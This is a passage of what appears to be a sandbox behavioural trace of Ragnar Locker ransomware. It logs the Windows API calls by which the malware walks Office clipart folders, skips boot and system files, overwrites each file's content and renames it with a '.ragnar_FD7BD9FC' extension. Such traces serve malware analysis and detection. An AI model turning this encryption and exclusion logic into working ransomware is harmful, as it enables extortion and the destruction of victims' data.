(HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.473] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.474] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.475] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0083.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.476] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.476] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0083.476] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.476] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.477] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.477] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.477] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.477] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.477] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.477] GetProcessHeap () returned 0x580000 [0083.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.477] CloseHandle (hObject=0xf4) returned 1 [0083.477] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" [0083.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.ragnar_FD7BD9FC" [0083.477] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.478] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0083.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.478] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101865.BMP" | out: lpString1="J0101865.BMP") returned="J0101865.BMP" [0083.478] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned=".BMP" [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="autorun.inf") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="boot.ini") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="bootfont.bin") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="bootsect.bak") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="bootmgr") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="bootmgr.efi") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="bootmgfw.efi") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="desktop.ini") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="iconcache.db") returned 1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="ntldr") returned -1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="ntuser.dat") returned -1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="ntuser.dat.log") returned -1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="ntuser.ini") returned -1 [0083.478] lstrcmpiW (lpString1="J0101865.BMP", lpString2="thumbs.db") returned -1 [0083.478] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.478] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.478] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.478] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.478] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.479] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.479] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0083.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.479] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.479] GetProcessHeap () returned 0x580000 [0083.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.479] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.481] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.481] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.482] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.482] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.483] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.483] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.483] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.483] GetProcessHeap () returned 0x580000 [0083.483] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.483] CloseHandle (hObject=0xf4) returned 1 [0083.483] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" [0083.483] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.ragnar_FD7BD9FC" [0083.483] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.484] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0083.484] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.484] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101866.BMP" | out: lpString1="J0101866.BMP") returned="J0101866.BMP" [0083.484] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned=".BMP" [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="autorun.inf") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="boot.ini") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="bootfont.bin") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="bootsect.bak") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="bootmgr") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="bootmgr.efi") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="bootmgfw.efi") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="desktop.ini") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="iconcache.db") returned 1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="ntldr") returned -1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="ntuser.dat") returned -1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="ntuser.dat.log") returned -1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="ntuser.ini") returned -1 [0083.484] lstrcmpiW (lpString1="J0101866.BMP", lpString2="thumbs.db") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.485] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0083.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.485] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.485] GetProcessHeap () returned 0x580000 [0083.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.485] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.487] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.487] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.488] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.489] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.489] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.489] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.489] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.489] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.489] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.489] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.490] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.490] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.490] GetProcessHeap () returned 0x580000 [0083.490] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.490] CloseHandle (hObject=0xf4) returned 1 [0083.490] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" [0083.490] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.ragnar_FD7BD9FC" [0083.490] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.490] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0083.490] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.491] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101867.BMP" | out: lpString1="J0101867.BMP") returned="J0101867.BMP" [0083.491] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned=".BMP" [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="autorun.inf") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="boot.ini") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="bootfont.bin") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="bootsect.bak") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="bootmgr") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="bootmgr.efi") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="bootmgfw.efi") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="desktop.ini") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="iconcache.db") returned 1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="ntldr") returned -1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="ntuser.dat") returned -1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="ntuser.dat.log") returned -1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="ntuser.ini") returned -1 [0083.491] lstrcmpiW (lpString1="J0101867.BMP", lpString2="thumbs.db") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.491] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0083.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.492] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32616) returned 1 [0083.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.492] GetProcessHeap () returned 0x580000 [0083.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.492] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.494] VirtualAlloc (lpAddress=0x0, dwSize=0x7f68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.494] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 